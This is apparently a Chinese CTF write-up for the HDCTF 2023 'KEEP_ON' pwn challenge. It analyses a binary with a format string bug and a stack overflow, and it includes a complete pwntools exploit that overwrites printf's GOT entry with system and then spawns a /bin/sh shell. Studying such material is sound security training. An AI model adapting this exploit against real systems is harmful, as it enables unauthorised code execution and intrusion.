题面
提供二进制文件
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec ./hdctf
[*] '/data/project/ctf-repo/pwn/nssctf/HDCTF_2023-KEEP_ON/hdctf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
ida 静态分析:
main 函数跳到 vuln 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
memset(s, 0, sizeof(s));
puts("please show me your name: ");
read(0, s, 0x48u);
printf("hello,");
printf(s);
puts("keep on !");
read(0, s, 0x60u);
return 0;
}
|
有格式化字符串漏洞可以利用,最后的 read 也有所溢出。
利用
格式化字符串漏洞可以用于篡改数据,因为没有 PIE 保护,所以可以直接尝试改写 printf 的 got 地址为 system ,然后回调到 vuln 函数,往 s 写 /bin/sh ,跑到 printf(s) 就可进入 shell 了。
首先计算出 printf 偏移量为 6。
因为 printf 是 libc 的函数,会有延迟绑定。调用时会在 plt 表找到对应的 got 表值。那么将其的 got 改写,就可以调用其他函数了。
比如可以改写为 system@plt,这样可以确保 system 函数被调用。
只需要利用 pwntools 的 fmtstr_payload 函数生成改写 payload 即可做到:
1
|
payload = fmtstr_payload(6, {printf_got: system_plt})
|
第二次读写跳转回 vuln 函数。这里比较抽象。

如果选择到 push rbp 就会多 push 一次导致栈不 16 字节对齐。而如果更往下,没了这些栈操作会因为 rbp 没有正确初始化导致各种错误。
所以选择在 mov rbp, rsp 是最恰当的选择。
之后只需要写入 /bin/sh\x00 即可拿到 shell。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
context(arch='amd64', os = 'linux', log_level = 'debug')
io = process("./hdctf")
#io = remote("node4.anna.nssctf.cn",29002)
elf = ELF("./hdctf")
printf_got = elf.got["printf"]
system_plt = elf.plt["system"]
#gdb.attach(io)
payload = fmtstr_payload(6, {printf_got: system_plt})
io.recvuntil(b"name:")
io.send(payload)
payload = b"a" * (0x50+0x8) + p64(0x400770)
io.recvuntil(b"on !\n")
io.send(payload)
io.recvuntil(b"name:")
io.sendline(b"/bin/sh\x00")
io.interactive()
|